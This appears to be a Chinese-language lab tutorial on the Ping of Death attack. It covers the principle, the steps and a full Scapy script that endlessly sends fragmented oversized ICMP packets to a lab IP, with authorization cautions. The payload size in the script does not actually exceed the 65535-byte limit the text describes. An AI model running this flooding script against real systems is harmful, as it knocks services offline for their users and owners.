一、介绍
1.1 概述
Ping of Death(PoD)是一种历史悠久的拒绝服务(DoS),通过发送特制的畸形ICMP Echo请求数据包,导致目标系统无法正确处理,从而导致系统崩溃、重启或无法响应正常请求。这种利用了ICMP协议中的缺陷,在某些情况下可以绕过防火墙或其他安全措施。
1.2 原理
- ICMP协议与Ping命令:
- ICMP(Internet Control Message Protocol)是用于传递控制信息的协议,Ping命令使用ICMP Echo请求和Echo应答消息来测试网络连通性。
- 数据包大小限制:
- 根据网络标准,单个IP数据包的最大有效负载(payload)大小为65535字节(包括IP头部)。正常的ICMP数据包大小通常不会超过这一限制。
- 畸形数据包:
- Ping of Death攻击通过构造一个大于65535字节的ICMP数据包,并将其分片发送。目标系统在重组这些分片数据包时会因超出其处理能力或软件缺陷而崩溃或重启。
1.3 步骤
- 构造畸形ICMP数据包:
- 攻击者构造一个超大ICMP数据包,其大小超过65535字节,并将其分片发送。
- 发送畸形数据包:
- 由于IP分片机制,超大数据包会被分成多个较小的片段,分别发送到目标系统。
- 目标系统重组数据包:
- 目标系统在接收到所有片段后,会尝试重组这些片段形成原始的大数据包。
- 系统崩溃:
- 当目标系统尝试处理这个超大的ICMP数据包时,由于超出其处理能力或存在软件缺陷,系统可能会崩溃、重启或进入无响应状态。
二、实验环境
受害者:192.168.1.128
三、实操演示
构造脚本
from scapy.all import * import time from scapy.layers.inet import fragment, ICMP def ping_of_death(target_ip, interval=1): payload = b"A" * 65507 # 65507 字节的有效负载 packet = IP(dst=target_ip)/ICMP()/payload while True: fragments = fragment(packet) send(fragments) time.sleep(interval) # 等待指定的时间间隔再发送下一个数据包 if __name__ == "__main__": target_ip = "192.168.1.128" # 目标系统的IP地址 interval = 1 # 每个数据包之间的间隔时间(秒) try: ping_of_death(target_ip, interval) except KeyboardInterrupt: print("\n攻击停止")
3.1 脚本解释
- 导入必要的模块:
from scapy.all import *
:导入Scapy库。import time
:导入time模块,用于实现发送数据包之间的延迟。
- 定义
ping_of_death
函数:
ping_of_death(target_ip, interval=1)
:定义一个函数用于执行Ping of Death攻击,target_ip
是目标系统的IP地址,interval
是每次发送数据包之间的间隔时间(默认为1秒)。
- 构造超大ICMP数据包:
payload = b"A" * 65507
:构造一个65507字节的有效负载。packet = IP(dst=target_ip)/ICMP()/payload
:构造ICMP Echo请求数据包。
- 循环发送数据包:
while True:
:无限循环,持续发送数据包。fragments = fragment(packet)
:将大数据包分片。send(fragments)
:发送分片数据包。time.sleep(interval)
:每次发送数据包后等待指定的时间间隔。
脚本入口:
if __name__ == "__main__":
:脚本入口,设置目标IP地址和发送间隔时间。try: ping_of_death(target_ip, interval)
:启动函数。except KeyboardInterrupt: print("\n攻击停止")
:捕捉键盘中断信号(Ctrl+C),以便优雅地停止。
受害者视角:
3.2 注意事项
- 合法性和道德规范:
- 确保在合法和授权的环境中进行实验,不得在未经授权的网络上进行。
- 网络隔离:
- 确保实验网络与生产网络隔离,避免对实际业务造成影响。
- 监控与恢复:
- 实验过程中实时监控网络和系统状态,实验结束后立即停止工具,并确保系统恢复正常。